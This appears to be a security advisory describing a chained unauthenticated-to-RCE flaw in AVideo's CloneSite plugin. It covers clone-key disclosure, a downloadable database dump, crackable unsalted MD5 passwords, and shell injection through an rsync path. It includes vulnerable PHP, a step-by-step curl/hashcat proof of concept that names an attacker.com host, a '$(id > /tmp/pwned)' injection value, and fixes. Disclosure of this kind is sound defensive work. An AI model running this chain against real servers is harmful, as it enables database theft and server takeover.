+ "details": "## Summary\n\nMultiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The `clones.json.php` endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via `cloneServer.json.php`. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in `cloneClient.json.php` to execute arbitrary system commands.\n\n## Details\n\n### Step 1: Clone Key Disclosure\n\n`plugin/CloneSite/clones.json.php:1-8` has zero authentication:\n\n```php\n<?php\nrequire_once '../../videos/configuration.php';\nrequire_once $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php';\nheader('Content-Type: application/json');\n$rows = Clones::getAll();\n?>\n{\"data\": <?php echo json_encode($rows); ?>}\n```\n\nThe response includes the `key` field for every registered clone, which is the sole authentication credential for clone operations.\n\n### Step 2: Database Dump via Stolen Key\n\n`plugin/CloneSite/cloneServer.json.php:73-97` — once the key passes `Clones::thisURLCanCloneMe()`, the server executes `mysqldump` and writes the result to a web-accessible directory:\n\n```php\n$cmd = \"mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} \"\n .\" --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile\";\nexec($cmd . \" 2>&1\", $output, $return_val);\n```\n\nThe SQL file path is returned in the JSON response and is downloadable.\n\n### Step 3: Admin Credential Extraction\n\n`objects/user.php:1798` — passwords are stored as unsalted MD5:\n\n```php\n$passEncoded = md5($pass);\n```\n\nThe `users` table in the dump contains `user`, `password` (MD5), and `isAdmin` fields. MD5 hashes crack in seconds.\n\n### Step 4: Command Injection via Rsync\n\n`plugin/CloneSite/cloneClient.json.php:259` — the `videosDir` from the clone server response is interpolated unsanitized into the rsync command:\n\n```php\n$rsync = \"sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ...\";\nexec($cmd . \" 2>&1\", $output, $return_val);\n```\n\nAn admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the `videosDir` field.\n\n## PoC\n\n```bash\n# Step 1: Steal clone keys (unauthenticated)\ncurl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key'\n# Output: \"a1b2c3d4e5f6...\"\n\n# Step 2: Trigger database dump\nCLONE_KEY=\"a1b2c3d4e5f6...\"\ncurl -s \"http://target/plugin/CloneSite/cloneServer.json.php\" \\\n --data \"url=http://attacker.com&key=${CLONE_KEY}&useRsync=0\" | jq '.sqlFile'\n# Output: \"Clone_mysqlDump_1234567890.sql\"\n\n# Step 3: Download the dump and extract admin credentials\ncurl -s \"http://target/videos/clones/Clone_mysqlDump_1234567890.sql\" \\\n | grep -A2 \"INSERT INTO.*users\" \\\n | grep -oP \"admin','[a-f0-9]{32}\"\n# Output: admin','5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of \"password\")\n\n# Step 4: Crack MD5 (trivial)\necho -n \"5f4dcc3b5aa765d61d8327deb882cf99\" | hashcat -m 0 -a 0 rockyou.txt\n# Output: password\n\n# Step 5: Login as admin, configure CloneSite with malicious server\n# The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned)\n# When rsync executes, the $(id) is evaluated by the shell\n```\n\n## Impact\n\n- **Complete server compromise**: Unauthenticated attacker achieves arbitrary command execution as the web server user\n- **Full database disclosure**: The entire database (users, videos, configurations, secrets) is exfiltrated\n- **No user interaction**: Every step is automated, no clicks or social engineering required\n- **Credential theft**: All user passwords (MD5) are trivially recoverable\n- **Lateral movement**: Database credentials and SSH credentials (stored encrypted in the plugins table) may enable access to other systems\n\n## Recommended Fix\n\n1. **Add authentication to `clones.json.php`:**\n```php\n// plugin/CloneSite/clones.json.php\nrequire_once '../../videos/configuration.php';\nif (!User::isAdmin()) {\n http_response_code(403);\n die(json_encode(['error' => true, 'msg' => 'Admin required']));\n}\n```\n\n2. **Don't store SQL dumps in web-accessible directories** — use a path outside the web root or require re-authentication to download.\n\n3. **Upgrade password hashing** — replace MD5 with `password_hash()` (bcrypt/argon2):\n```php\n// Replace: $passEncoded = md5($pass);\n$passEncoded = password_hash($pass, PASSWORD_DEFAULT);\n```\n\n4. **Sanitize rsync command parameters** — use `escapeshellarg()` on all interpolated values:\n```php\n$rsync = sprintf(\"rsync -av ... %s@%s:%s ...\",\n escapeshellarg($objClone->cloneSiteSSHUser),\n escapeshellarg($objClone->cloneSiteSSHIP),\n escapeshellarg($json->videosDir)\n);\n```",
0 commit comments